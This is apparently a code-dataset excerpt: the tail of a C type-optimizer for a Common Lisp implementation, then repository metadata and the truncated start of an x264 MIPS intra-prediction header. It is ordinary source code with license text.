(RefLispDecl(right) == LISPDECL_UNSIGNED_BYTE); return 0; } static int optimize_unsigned_byte_(LocalRoot local, addr type, addr *value, int *ret) { addr x, y; Return_check_optimize(check_unsigned_byte_, type, ret); /* asterisk */ GetArrayType(type, 0, &y); if (type_asterisk_p(y)) { /* (unsigned-byte *) */ fixnum_local(local, &x, 0); type4_local(local, LISPDECL_INTEGER, Nil, x, y, y, value); return Result(ret, 1); } /* (let ((v (ash 1 value))) * `(integer 0 (,v))) */ fixnum_heap(&x, 1); Return(ash_integer_common_(local, x, y, &y)); Return(oneminus_integer_common_(local, y, &y)); Return(integer_result_local_(local, y, &y)); fixnum_heap(&x, 0); type4_local(local, LISPDECL_INTEGER, Nil, x, Nil, y, value); return Result(ret, 1); } /* bit -> (integer 0 1) */ static int check_bit_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_BIT); return 0; } static int optimize_bit_(LocalRoot local, addr right, addr *value, int *ret) { addr left; Return_check_optimize(check_bit_, right, ret); fixnum_local(local, &left, 0); fixnum_local(local, &right, 1); type4_local(local, LISPDECL_INTEGER, Nil, left, Nil, right, value); return Result(ret, 1); } /* fixnum -> (integer most-negative-fixnum most-positive-fixnum) */ static int check_fixnum_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_FIXNUM); return 0; } static int optimize_fixnum_(LocalRoot local, addr right, addr *value, int *ret) { addr left; Return_check_optimize(check_fixnum_, right, ret); GetConst(FIXNUM_MIN, &left); GetConst(FIXNUM_MAX, &right); Check(GetType(left) != LISPTYPE_FIXNUM, "type left error"); Check(GetType(right) != LISPTYPE_FIXNUM, "type left error"); type4_local(local, LISPDECL_INTEGER, Nil, left, Nil, right, value); return Result(ret, 1); } /* bignum -> (and integer (not fixnum)) */ static int check_bignum_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_BIGNUM); return 0; } static int optimize_bignum_(LocalRoot local, addr right, addr *value, int *ret) { int ignore; addr array, pos; Return_check_optimize(check_bignum_, right, ret); vector4_local(local, &array, 2); /* integer */ type4aster_localall(local, LISPDECL_INTEGER, &pos); SetArrayA4(array, 0, pos); /* (not fixnum) */ type0_local(local, LISPDECL_FIXNUM, &pos); SetNotDecl(pos, 1); Return(type_optimize_(local, pos, &pos, &ignore)); SetArrayA4(array, 1, pos); /* bignum */ type1_local(local, LISPDECL_AND, array, value); return Result(ret, 1); } /* (integer (10) (20)) -> (integer 9 19) */ static int check_integer_p(addr pos) { return (! type_asterisk_p(pos)) && (pos != Nil); } static int check_integer_(addr type, int *ret) { addr pos; if (RefLispDecl(type) != LISPDECL_INTEGER) return Result(ret, 0); /* left */ GetArrayType(type, 0, &pos); if (check_integer_p(pos)) return Result(ret, 1); /* right */ GetArrayType(type, 2, &pos); if (check_integer_p(pos)) return Result(ret, 1); /* else */ return Result(ret, 0); } static int optimize_integer_less_p(addr x, addr y, int *ret) { if (integerp(x) && integerp(y)) return less_integer_(y, x, ret); return Result(ret, 0); } static int optimize_integer_(LocalRoot local, addr type, addr *value, int *ret) { int check; addr a1, a2, v1, v2, pos; Return_check_optimize(check_integer_, type, ret); GetArrayType(type, 0, &a1); GetArrayType(type, 1, &v1); GetArrayType(type, 2, &a2); GetArrayType(type, 3, &v2); /* left */ GetArrayType(type, 0, &pos); if (check_integer_p(pos)) { Return(oneplus_integer_common_(local, v1, &v1)); Return(integer_result_local_(local, v1, &v1)); a1 = Nil; } /* right */ GetArrayType(type, 2, &pos); if (check_integer_p(pos)) { Return(oneminus_integer_common_(local, v2, &v2)); Return(integer_result_local_(local, v2, &v2)); a2 = Nil; } /* result */ Return(optimize_integer_less_p(v1, v2, &check)); if (check) type0_local(local, LISPDECL_NIL, value); else type4_local(local, LISPDECL_INTEGER, a1, v1, a2, v2, value); type_setnotobject(*value, type); return Result(ret, 1); } /* (eql nil) -> null */ static int check_eql_(addr right, int *ret) { if (RefLispDecl(right) != LISPDECL_EQL) return Result(ret, 0); GetArrayType(right, 0, &right); return Result(ret, right == Nil); } static int optimize_eql_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_eql_, right, ret); type0_local(local, LISPDECL_NULL, value); return Result(ret, 1); } /* (eql 10) -> (integer 10 10) */ static void optimize_eql_range_object( LocalRoot local, enum LISPDECL decl, addr pos, addr *value) { type4_local(local, decl, Nil, pos, Nil, pos, value); } static int optimize_eql_range_type_(LocalRoot local, addr pos, addr *value, int *ret) { switch (GetType(pos)) { case LISPTYPE_FIXNUM: case LISPTYPE_BIGNUM: optimize_eql_range_object(local, LISPDECL_INTEGER, pos, value); break; case LISPTYPE_RATIO: optimize_eql_range_object(local, LISPDECL_RATIONAL, pos, value); break; case LISPTYPE_SINGLE_FLOAT: optimize_eql_range_object(local, LISPDECL_SINGLE_FLOAT, pos, value); break; case LISPTYPE_DOUBLE_FLOAT: optimize_eql_range_object(local, LISPDECL_DOUBLE_FLOAT, pos, value); break; case LISPTYPE_LONG_FLOAT: optimize_eql_range_object(local, LISPDECL_LONG_FLOAT, pos, value); break; default: return Result(ret, 0); } return Result(ret, 1); } static int check_eql_range_(addr right, int *ret) { enum LISPTYPE type; if (RefLispDecl(right) != LISPDECL_EQL) return Result(ret, 0); GetArrayType(right, 0, &right); type = GetType(right); *ret = type == LISPTYPE_FIXNUM || type == LISPTYPE_BIGNUM || type == LISPTYPE_RATIO || type == LISPTYPE_SINGLE_FLOAT || type == LISPTYPE_DOUBLE_FLOAT || type == LISPTYPE_LONG_FLOAT; return 0; } static int optimize_eql_range_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_eql_range_, right, ret); GetArrayType(right, 0, &right); return optimize_eql_range_type_(local, right, value, ret); } /* (member) -> nil */ static int check_member1_(addr right, int *ret) { if (RefLispDecl(right) != LISPDECL_MEMBER) return Result(ret, 0); GetArrayType(right, 0, &right); return Result(ret, LenArrayA4r(right) == 0); } static int optimize_member1_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_member1_, right, ret); type0_local(local, LISPDECL_NIL, value); return Result(ret, 1); } /* (member arg) -> (eql arg) */ static int check_member2_(addr right, int *ret) { if (RefLispDecl(right) != LISPDECL_MEMBER) return Result(ret, 0); GetArrayType(right, 0, &right); return Result(ret, LenArrayA4r(right) == 1); } static int optimize_member2_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_member2_, right, ret); GetArrayType(right, 0, &right); GetArrayA4(right, 0, &right); type_eql_local(local, right, value); return Result(ret, 1); } /* (member ...) -> (or (eql arg1) (eql arg2) ...) */ static int check_member3_(addr right, int *ret) { if (RefLispDecl(right) != LISPDECL_MEMBER) return Result(ret, 0); GetArrayType(right, 0, &right); return Result(ret, 2 <= LenArrayA4r(right)); } static int optimize_member3_(LocalRoot local, addr right, addr *value, int *ret) { addr array, child; size_t i, size; Return_check_optimize(check_member3_, right, ret); GetArrayType(right, 0, &right); LenArrayA4(right, &size); vector4_local(local, &array, size); for (i = 0; i < size; i++) { GetArrayA4(right, i, &child); type_eql_local(local, child, &child); SetArrayA4(array, i, child); } type1_local(local, LISPDECL_OR, array, value); return Result(ret, 1); } /* (not x) -> x.not */ static int check_not_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_NOT); return 0; } static int optimize_not_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_not_, right, ret); if (RefNotDecl(right)) { /* not not */ GetArrayType(right, 0, value); } else { /* not */ GetArrayType(right, 0, &right); type_copy_unsafe_local(local, &right, right); type_revnotdecl(right); *value = right; } return Result(ret, 1); } /* (not (and ... )) -> (or (not ...) (not ...) ...) */ /* (not (or ... )) -> (and (not ...) (not ...) ...) */ static int optimize_result_(LocalRoot local, addr pos, addr *value, int *ret) { int check; addr opt; Return(type_optimize_(local, pos, &opt, &check)); *value = check? opt: pos; if (ret) return Result(ret, check); else return 0; } static int extract_not_andor_(LocalRoot local, addr *value, addr right, enum LISPDECL decl) { addr array, pos; size_t size, i; GetArrayType(right, 0, &right); LenArrayA4(right, &size); vector4_local(local, &array, size); for (i = 0; i < size; i++) { GetArrayA4(right, i, &pos); type_copy_unsafe_local(local, &pos, pos); type_revnotdecl(pos); Return(optimize_result_(local, pos, &pos, NULL)); SetArrayA4(array, i, pos); } type1_local(local, decl, array, value); return 0; } static int extract_array_andor_(LocalRoot local, addr right, addr *value, int *ret) { int update, check; addr array, temp, pos; size_t size, i; GetArrayType(right, 0, &array); LenArrayA4(array, &size); vector4_local(local, &temp, size); update = 0; for (i = 0; i < size; i++) { GetArrayA4(array, i, &pos); Return(optimize_result_(local, pos, &pos, &check)); update |= check; SetArrayA4(temp, i, pos); } if (update) { type_copy_unsafe_local(local, &right, right); vector4_local(local, &array, size); for (i = 0; i < size; i++) { GetArrayA4(temp, i, &pos); SetArrayA4(array, i, pos); } SetArrayType(right, 0, array); *value = right; } return Result(ret, update); } static int extract_andor_(LocalRoot local, addr right, addr *value, int *ret, enum LISPDECL fromdecl, enum LISPDECL todecl) { if (RefLispDecl(right) != fromdecl) return Result(ret, 0); if (RefNotDecl(right)) { Return(extract_not_andor_(local, value, right, todecl)); return Result(ret, 1); } return extract_array_andor_(local, right, value, ret); } static int check_andor_(enum LISPDECL decl, addr right, int *ret) { int check; addr pos; size_t size, i; if (RefLispDecl(right) != decl) return Result(ret, 0); if (RefNotDecl(right)) return Result(ret, 1); GetArrayType(right, 0, &right); LenArrayA4(right, &size); for (i = 0; i < size; i++) { GetArrayA4(right, i, &pos); Return(check_optimize_(pos, &check)); if (check) return Result(ret, 1); } return Result(ret, 0); } static int check_and_(addr right, int *ret) { return check_andor_(LISPDECL_AND, right, ret); } static int optimize_and_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_and_, right, ret); return extract_andor_(local, right, value, ret, LISPDECL_AND, LISPDECL_OR); } static int check_or_(addr right, int *ret) { return check_andor_(LISPDECL_OR, right, ret); } static int optimize_or_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_or_, right, ret); return extract_andor_(local, right, value, ret, LISPDECL_OR, LISPDECL_AND); } /* * and */ static int normlispdecl(addr pos, enum LISPDECL type) { return RefLispDecl(pos) == type && (! RefNotDecl(pos)); } static int check_typeand(addr type, addr *array, size_t *size) { if (! normlispdecl(type, LISPDECL_AND)) return 1; GetArrayType(type, 0, array); LenArrayA4(*array, size); return 0; } /* (and) -> t */ static int check_and1_(addr type, int *ret) { if (! normlispdecl(type, LISPDECL_AND)) return Result(ret, 0); GetArrayType(type, 0, &type); return Result(ret, LenArrayA4r(type) == 0); } static int optimize_and1_(LocalRoot local, addr type, addr *value, int *ret) { Return_check_optimize(check_and1_, type, ret); type0_local(local, LISPDECL_T, value); return Result(ret, 1); } /* (and type) -> type */ static int check_and2_(addr type, int *ret) { if (! normlispdecl(type, LISPDECL_AND)) return Result(ret, 0); GetArrayType(type, 0, &type); return Result(ret, LenArrayA4r(type) == 1); } static int optimize_and2_(LocalRoot local, addr type, addr *value, int *ret) { Return_check_optimize(check_and2_, type, ret); GetArrayType(type, 0, &type); GetArrayA4(type, 0, value); return Result(ret, 1); } /* (and ... nil ...) -> nil */ static int check_and_vector_(enum LISPDECL decl, addr type, int *ret) { addr check; size_t size, i; if (check_typeand(type, &type, &size)) return Result(ret, 0); for (i = 0; i < size; i++) { GetArrayA4(type, i, &check); if (normlispdecl(check, decl)) return Result(ret, 1); } return Result(ret, 0); } static int check_and3_(addr type, int *ret) { return check_and_vector_(LISPDECL_NIL, type, ret); } static int optimize_and3_(LocalRoot local, addr type, addr *value, int *ret) { Return_check_optimize(check_and3_, type, ret); type0_local(local, LISPDECL_NIL, value); return Result(ret, 1); } /* (and ... t ...) -> (and ...) remove t */ static void remove_type_vector(LocalRoot local, enum LISPDECL decl, enum LISPDECL checktype, addr array, size_t size1, size_t size2, addr *value) { addr pos, check; size_t i, k; vector4_local(local, &pos, size2); k = 0; for (i = 0; i < size1; i++) { GetArrayA4(array, i, &check); if (! normlispdecl(check, checktype)) { Check(size2 <= k, "size2 error1"); SetArrayA4(pos, k++, check); } } Check(k != size2, "size2 error2"); type1_local(local, decl, pos, value); } static int check_and4_(addr type, int *ret) { return check_and_vector_(LISPDECL_T, type, ret); } static int optimize_and4_(LocalRoot local, addr type, addr *value, int *ret) { addr check; size_t size, i, count; Return_check_optimize(check_and4_, type, ret); GetArrayType(type, 0, &type); LenArrayA4(type, &size); count = 0; for (i = 0; i < size; i++) { GetArrayA4(type, i, &check); if (normlispdecl(check, LISPDECL_T)) count++; } Check(count == 0, "size error"); remove_type_vector(local, LISPDECL_AND, LISPDECL_T, type, size, size - count, value); return Result(ret, 1); } /* (and ... (and ...) ...) -> (and ...) */ static int count_andor(addr type, enum LISPDECL decl, size_t *index) { int result; addr check; size_t size, i; Check(! normlispdecl(type, decl), "type error"); GetArrayType(type, 0, &type); LenArrayA4(type, &size); result = 0; for (i = 0; i < size; i++) { GetArrayA4(type, i, &check); if (normlispdecl(check, decl)) { result = 1; count_andor(check, decl, index); } else { (*index)++; } } return result; } static void replace_andor(addr type, enum LISPDECL decl, addr array, size_t *index) { addr check; size_t size, i; Check(! normlispdecl(type, decl), "type error"); GetArrayType(type, 0, &type); LenArrayA4(type, &size); for (i = 0; i < size; i++) { GetArrayA4(type, i, &check); if (normlispdecl(check, decl)) { replace_andor(check, decl, array, index); } else { SetArrayA4(array, (*index)++, check); } } } static int check_andor_type_(enum LISPDECL decl, addr type, int *ret) { addr pos; size_t size, i; if (! normlispdecl(type, decl)) return Result(ret, 0); GetArrayType(type, 0, &type); LenArrayA4(type, &size); for (i = 0; i < size; i++) { GetArrayA4(type, i, &pos); if (normlispdecl(pos, decl)) return Result(ret, 1); } return Result(ret, 0); } static int check_and5_(addr type, int *ret) { return check_andor_type_(LISPDECL_AND, type, ret); } static int optimize_and5_(LocalRoot local, addr type, addr *value, int *ret) { addr array; size_t size; /* check */ Return_check_optimize(check_and5_, type, ret); GetArrayType(type, 0, &array); size = 0; count_andor(type, LISPDECL_AND, &size); Check(size == 0, "size error"); /* make type */ vector4_local(local, &array, size); type1_local(local, LISPDECL_AND, array, value); size = 0; replace_andor(type, LISPDECL_AND, array, &size); return Result(ret, 1); } /* * or */ /* (or) -> nil */ static int check_typeor(addr type, addr *array, size_t *size) { if (! normlispdecl(type, LISPDECL_OR)) return 1; GetArrayType(type, 0, array); LenArrayA4(*array, size); return 0; } static int check_or1_(addr type, int *ret) { if (! normlispdecl(type, LISPDECL_OR)) return Result(ret, 0); GetArrayType(type, 0, &type); return Result(ret, LenArrayA4r(type) == 0); } static int optimize_or1_(LocalRoot local, addr type, addr *value, int *ret) { Return_check_optimize(check_or1_, type, ret); type0_local(local, LISPDECL_NIL, value); return Result(ret, 1); } /* (or type) -> type */ static int check_or2_(addr type, int *ret) { if (! normlispdecl(type, LISPDECL_OR)) return Result(ret, 0); GetArrayType(type, 0, &type); return Result(ret, LenArrayA4r(type) == 1); } static int optimize_or2_(LocalRoot local, addr type, addr *value, int *ret) { Return_check_optimize(check_or2_, type, ret); GetArrayType(type, 0, &type); GetArrayA4(type, 0, value); return Result(ret, 1); } /* (or ... t ...) -> t */ static int check_or_vector_(enum LISPDECL decl, addr type, int *ret) { addr check; size_t size, i; if (check_typeor(type, &type, &size)) return Result(ret, 0); for (i = 0; i < size; i++) { GetArrayA4(type, i, &check); if (normlispdecl(check, decl)) return Result(ret, 1); } return Result(ret, 0); } static int check_or3_(addr type, int *ret) { return check_or_vector_(LISPDECL_T, type, ret); } static int optimize_or3_(LocalRoot local, addr type, addr *value, int *ret) { Return_check_optimize(check_or3_, type, ret); type0_local(local, LISPDECL_T, value); return Result(ret, 1); } /* (or ... nil ...) -> (or ...) remove nil */ static int check_or4_(addr type, int *ret) { return check_or_vector_(LISPDECL_NIL, type, ret); } static int optimize_or4_(LocalRoot local, addr type, addr *value, int *ret) { addr check; size_t size, i, count; Return_check_optimize(check_or4_, type, ret); GetArrayType(type, 0, &type); LenArrayA4(type, &size); count = 0; for (i = 0; i < size; i++) { GetArrayA4(type, i, &check); if (normlispdecl(check, LISPDECL_NIL)) count++; } Check(count == 0, "size error"); remove_type_vector(local, LISPDECL_OR, LISPDECL_NIL, type, size, size - count, value); return Result(ret, 1); } /* (or ... (or ...) ...) -> (or ...) */ static int check_or5_(addr type, int *ret) { return check_andor_type_(LISPDECL_OR, type, ret); } static int optimize_or5_(LocalRoot local, addr type, addr *value, int *ret) { addr array; size_t size; /* check */ Return_check_optimize(check_or5_, type, ret); GetArrayType(type, 0, &array); LenArrayA4(array, &size); size = 0; count_andor(type, LISPDECL_OR, &size); Check(size == 0, "size error"); /* make type */ vector4_local(local, &array, size); type1_local(local, LISPDECL_OR, array, value); size = 0; replace_andor(type, LISPDECL_OR, array, &size); return Result(ret, 1); } /* range check */ static int range_valid_p_(addr type, int *ret) { addr left1, left2, right1, right2; LocalRoot local; local = Local_Thread; GetArrayType(type, 0, &left1); GetArrayType(type, 1, &left2); GetArrayType(type, 2, &right1); GetArrayType(type, 3, &right2); if (type_asterisk_p(left1) || type_asterisk_p(right1)) return Result(ret, 1); if (left1 == Nil && right1 == Nil) return less_equal_real_(local, left2, right2, ret); else return less_real_(local, left2, right2, ret); } static int check_range_(addr right, int *ret) { int check; if (! type_range_p(right)) return Result(ret, 0); Return(range_valid_p_(right, &check)); return Result(ret, ! check); } static int optimize_range_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_range_, right, ret); if (RefNotDecl(right)) type0_local(local, LISPDECL_T, value); else type0_local(local, LISPDECL_NIL, value); return Result(ret, 1); } /* * wake optimize */ static int extract_values_var_(LocalRoot local, addr right, addr *value) { addr root, left; for (root = Nil; right != Nil; ) { GetCons(right, &left, &right); Return(optimize_result_(local, left, &left, NULL)); cons_local(local, &root, left, root); } nreverse(value, root); return 0; } static int extract_values_rest_(LocalRoot local, addr right, addr *value) { int ignore; if (right == Nil) return 0; else return optimize_result_(local, right, value, &ignore); } static int check_some_(addr right, int *ret) { int check; addr pos; while (right != Nil) { GetCons(right, &pos, &right); Return(check_optimize_(pos, &check)); if (check) return Result(ret, 1); } return Result(ret, 0); } static int check_values_rest_(addr right, int *ret) { if (right == Nil) return Result(ret, 0); else return check_optimize_(right, ret); } static int check_values_(addr right, int *ret) { int check; addr value; if (RefLispDecl(right) != LISPDECL_VALUES) return Result(ret, 0); GetArrayType(right, 0, &value); Return(check_some_(value, &check)); if (check) return Result(ret, 1); GetArrayType(right, 1, &value); Return(check_some_(value, &check)); if (check) return Result(ret, 1); GetArrayType(right, 2, &value); return check_values_rest_(value, ret); } static int optimize_values_(LocalRoot local, addr right, addr *value, int *ret) { addr var, opt, rest; /* extract */ Return_check_optimize(check_values_, right, ret); GetArrayType(right, 0, &var); GetArrayType(right, 1, &opt); GetArrayType(right, 2, &rest); Return(extract_values_var_(local, var, &var)); Return(extract_values_var_(local, opt, &opt)); Return(extract_values_rest_(local, rest, &rest)); /* result */ type_copy_unsafe_local(local, &right, right); SetArrayType(right, 0, var); SetArrayType(right, 1, opt); SetArrayType(right, 2, rest); *value = right; return Result(ret, 1); } static int extract_function_key_(LocalRoot local, addr right, addr *value) { addr root, left, key, type; if (right == T) return Result(value, T); for (root = Nil; right != Nil; ) { GetCons(right, &left, &right); GetCons(left, &key, &type); Return(optimize_result_(local, type, &type, NULL)); cons_local(local, &left, key, type); cons_local(local, &root, left, root); } nreverse(value, root); return 0; } static int extract_function_(LocalRoot local, addr right, addr *value) { addr var, opt, rest, key; /* extract */ if (type_asterisk_p(right)) return 0; GetArrayA2(right, 0, &var); GetArrayA2(right, 1, &opt); GetArrayA2(right, 2, &rest); GetArrayA2(right, 3, &key); Return(extract_values_var_(local, var, &var)); Return(extract_values_var_(local, opt, &opt)); Return(extract_values_rest_(local, rest, &rest)); Return(extract_function_key_(local, key, &key)); /* result */ vector2_local(local, &right, 4); SetArrayA2(right, 0, var); SetArrayA2(right, 1, opt); SetArrayA2(right, 2, rest); SetArrayA2(right, 3, key); return Result(value, right); } static int check_function_key_(addr right, int *ret) { int check; addr type; if (right == T) return Result(ret, 0); while (right != Nil) { GetCons(right, &type, &right); GetCdr(type, &type); Return(check_optimize_(type, &check)); if (check) return Result(ret, 1); } return Result(ret, 0); } static int check_function_args_(addr right, int *ret) { int check; addr value; if (type_asterisk_p(right)) return Result(ret, 0); GetArrayA2(right, 0, &value); Return(check_some_(value, &check)); if (check) return Result(ret, 1); GetArrayA2(right, 1, &value); Return(check_some_(value, &check)); if (check) return Result(ret, 1); GetArrayA2(right, 2, &value); Return(check_values_rest_(value, &check)); if (check) return Result(ret, 1); GetArrayA2(right, 3, &value); return check_function_key_(value, ret); } static int check_function_(addr right, int *ret) { int check; enum LISPDECL decl; addr value; decl = RefLispDecl(right); if (decl != LISPDECL_FUNCTION && decl != LISPDECL_COMPILED_FUNCTION) return Result(ret, 0); GetArrayType(right, 0, &value); Return(check_function_args_(value, &check)); if (check) return Result(ret, 1); GetArrayType(right, 1, &value); return check_optimize_(value, ret); } static int optimize_function_(LocalRoot local, addr right, addr *value, int *ret) { addr args, values; Return_check_optimize(check_function_, right, ret); GetArrayType(right, 0, &args); GetArrayType(right, 1, &values); Return(extract_function_(local, args, &args)); Return(optimize_result_(local, values, &values, NULL)); type_copydecl_unsafe_local(local, &right, right); SetArrayType(right, 0, args); SetArrayType(right, 1, values); *value = right; return Result(ret, 1); } static int check_cons_(addr right, int *ret) { int check; addr value; if (RefLispDecl(right) != LISPDECL_CONS) return Result(ret, 0); GetArrayType(right, 0, &value); if (! type_asterisk_p(value)) { Return(check_optimize_(value, &check)); if (check) return Result(ret, 1); } GetArrayType(right, 1, &value); if (! type_asterisk_p(value)) { Return(check_optimize_(value, &check)); if (check) return Result(ret, 1); } return Result(ret, 0); } static int optimize_cons(LocalRoot local, addr right, addr *value, int *ret) { addr car, cdr; Return_check_optimize(check_cons_, right, ret); GetArrayType(right, 0, &car); GetArrayType(right, 1, &cdr); if (! type_asterisk_p(car)) { Return(optimize_result_(local, car, &car, NULL)); } if (! type_asterisk_p(cdr)) { Return(optimize_result_(local, cdr, &cdr, NULL)); } type2_local(local, LISPDECL_CONS, car, cdr, value); return Result(ret, 1); } /* * type-optimize */ static int check_optimize_(addr type, int *ret) { Return_or_optimize(check_type_delay_, type, ret); Return_or_optimize(check_optimized_, type, ret); Return_or_optimize(check_not_asterisk_, type, ret); Return_or_optimize(check_not_nil_, type, ret); Return_or_optimize(check_not_t_, type, ret); Return_or_optimize(check_mod_, type, ret); Return_or_optimize(check_atom_, type, ret); Return_or_optimize(check_list_, type, ret); Return_or_optimize(check_boolean_, type, ret); Return_or_optimize(check_sequence_, type, ret); Return_or_optimize(check_vector_, type, ret); Return_or_optimize(check_simple_vector_, type, ret); Return_or_optimize(check_bit_vector_, type, ret); Return_or_optimize(check_simple_bit_vector_, type, ret); Return_or_optimize(check_extended_char_, type, ret); Return_or_optimize(check_string_, type, ret); Return_or_optimize(check_base_string_, type, ret); Return_or_optimize(check_simple_string_, type, ret); Return_or_optimize(check_simple_base_string_, type, ret); Return_or_optimize(check_signed_byte_, type, ret); Return_or_optimize(check_unsigned_byte_, type, ret); Return_or_optimize(check_bit_, type, ret); Return_or_optimize(check_fixnum_, type, ret); Return_or_optimize(check_bignum_, type, ret); Return_or_optimize(check_integer_, type, ret); Return_or_optimize(check_eql_, type, ret); Return_or_optimize(check_eql_range_, type, ret); Return_or_optimize(check_member1_, type, ret); Return_or_optimize(check_member2_, type, ret); Return_or_optimize(check_member3_, type, ret); Return_or_optimize(check_not_, type, ret); Return_or_optimize(check_and_, type, ret); Return_or_optimize(check_or_, type, ret); Return_or_optimize(check_and1_, type, ret); Return_or_optimize(check_and2_, type, ret); Return_or_optimize(check_and3_, type, ret); Return_or_optimize(check_and4_, type, ret); Return_or_optimize(check_and5_, type, ret); Return_or_optimize(check_or1_, type, ret); Return_or_optimize(check_or2_, type, ret); Return_or_optimize(check_or3_, type, ret); Return_or_optimize(check_or4_, type, ret); Return_or_optimize(check_or5_, type, ret); Return_or_optimize(check_range_, type, ret); Return_or_optimize(check_values_, type, ret); Return_or_optimize(check_function_, type, ret); Return_or_optimize(check_cons_, type, ret); return Result(ret, 0); } static int type_optimize_(LocalRoot local, addr type, addr *value, int *ret) { int update, loop; CheckType(type, LISPTYPE_TYPE); for (loop = 0; ; loop |= update) { update = 0; /* extract */ extractcall(local, optimize_type_delay_, type, update); extractcall(local, optimize_optimized_, type, update); extractcall(local, optimize_not_asterisk_, type, update); extractcall(local, optimize_not_nil_, type, update); extractcall(local, optimize_not_t_, type, update); extractcallnot(local, optimize_mod_, type, update); extractcallnot(local, optimize_atom_, type, update); extractcallnot(local, optimize_list_, type, update); extractcallnot(local, optimize_boolean_, type, update); extractcallnot(local, optimize_sequence_, type, update); extractcallnot(local, optimize_vector_, type, update); extractcallnot(local, optimize_simple_vector_, type, update); extractcallnot(local, optimize_bit_vector_, type, update); extractcallnot(local, optimize_simple_bit_vector_, type, update); extractcallnot(local, optimize_extended_char_, type, update); extractcallnot(local, optimize_string_, type, update); extractcallnot(local, optimize_base_string_, type, update); extractcallnot(local, optimize_simple_string_, type, update); extractcallnot(local, optimize_simple_base_string_, type, update); extractcallnot(local, optimize_signed_byte_, type, update); extractcallnot(local, optimize_unsigned_byte_, type, update); extractcallnot(local, optimize_bit_, type, update); extractcallnot(local, optimize_fixnum_, type, update); extractcallnot(local, optimize_bignum_, type, update); extractcallnot(local, optimize_integer_, type, update); extractcallnot(local, optimize_eql_, type, update); extractcallnot(local, optimize_eql_range_, type, update); extractcallnot(local, optimize_member1_, type, update); extractcallnot(local, optimize_member2_, type, update); extractcallnot(local, optimize_member3_, type, update); extractcall(local, optimize_not_, type, update); extractcall(local, optimize_and_, type, update); extractcall(local, optimize_or_, type, update); extractcall(local, optimize_and1_, type, update); extractcall(local, optimize_and2_, type, update); extractcall(local, optimize_and3_, type, update); extractcall(local, optimize_and4_, type, update); extractcall(local, optimize_and5_, type, update); extractcall(local, optimize_or1_, type, update); extractcall(local, optimize_or2_, type, update); extractcall(local, optimize_or3_, type, update); extractcall(local, optimize_or4_, type, update); extractcall(local, optimize_or5_, type, update); extractcall(local, optimize_range_, type, update); extractcallnot(local, optimize_values_, type, update); extractcallnot(local, optimize_function_, type, update); extractcallnot(local, optimize_cons, type, update); if (update == 0) break; } *value = type; return Result(ret, loop); } int type_optimize_local_(LocalRoot local, addr type, addr *value, int *ret) { CheckLocal(local); CheckType(type, LISPTYPE_TYPE); if (RefLispDecl(type) == LISPDECL_OPTIMIZED) { *value = type; return Result(ret, 0); } Return(type_optimize_(local, type, &type, ret)); type1_local(local, LISPDECL_OPTIMIZED, type, value); return 0; } int type_optimize_heap_(LocalRoot local, addr type, addr *value, int *ret) { LocalStack stack; CheckLocal(local); CheckType(type, LISPTYPE_TYPE); push_local(local, &stack); Return(type_optimize_local_(local, type, &type, ret)); type_copy_heap(value, type); rollback_local(local, stack); return 0; } int type_optimized_p(addr type) { CheckType(type, LISPTYPE_TYPE); return RefLispDecl(type) == LISPDECL_OPTIMIZED; } void get_type_optimized(addr *ret, addr type) { if (type_optimized_p(type)) { GetArrayType(type, 0, ret); } else { *ret = type; } } int type_optimize_throw_heap_(LocalRoot local, addr type, addr *ret) { int check; Return(type_optimize_heap_(local, type, &type, &check)); get_type_optimized(ret, type); return 0; }
323533aad571be7e18406882e10064fcb124a6fa
ebd9576cdce449bd9495487da4b1ec9ae628a791
/components/x264/x264-snapshot-20181221-2245-stable/common/mips/predict.h
9c7834a0a6f7a852e4d297a0746a69d5f1c85ad7
[ "GPL-2.0-only", "MIT" ]
permissive
maximkulkin/esp32-homekit-camera
c89a505c7d2c2067a8821fabe73116c5e819998a
7cb31216d160c58ff0d59944b42f59324d7998db
refs/heads/master
2022-05-13T23:14:09.075811
2022-05-05T21:06:46
2022-05-05T21:18:18
163,830,366
380
87
MIT
2021-02-07T01:00:29
2019-01-02T11:05:04
C
UTF-8
C
false
false
3,884
h
predict.h
/***************************************************************************** * predict.h: msa intra prediction ***************************************************************************** * Copyright (C) 2015-2018 x264 project * * Authors: Rishikesh More <rishikesh.more@imgtec.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA. * * This program is also available under a commercial proprietary license. * For more information, contact us at licensing@x264.com. *****************************************************************************/ #ifndef X264_MIPS_PREDICT_H #define X264_MIPS_PREDICT_H #define x264_intra_predict_dc_16x16_msa x264_template(intra_predict_dc_16x16_msa) void x264_intra_predict_dc_16x16_msa( uint8_t *p_src ); #define x264_intra_predict_dc_left_16x16_msa x264_template(intra_predict_dc_left_16x16_msa) void x264_intra_predict_dc_left_16x16_msa( uint8_t *p_src ); #define x264_intra_predict_dc_top_16x16_msa x264_template(intra_predict_dc_top_16x16_msa) void x264_intra_predict_dc_top_16x16_msa( uint8_t *p_src ); #define x264_intra_predict_dc_128_16x16_msa x264_template(intra_predict_dc_128_16x16_msa) void x264_intra_predict_dc_128_16x16_msa( uint8_t *p_src ); #define x264_intra_predict_hor_16x16_msa x264_template(intra_predict_hor_16x16_msa) void x264_intra_predict_hor_16x16_msa( uint8_t *p_src ); #define x264_intra_predict_vert_16x16_msa x264_template(intra_predict_vert_16x16_msa) void x264_intra_predict_vert_16x16_msa( uint8_t *p_src ); #define 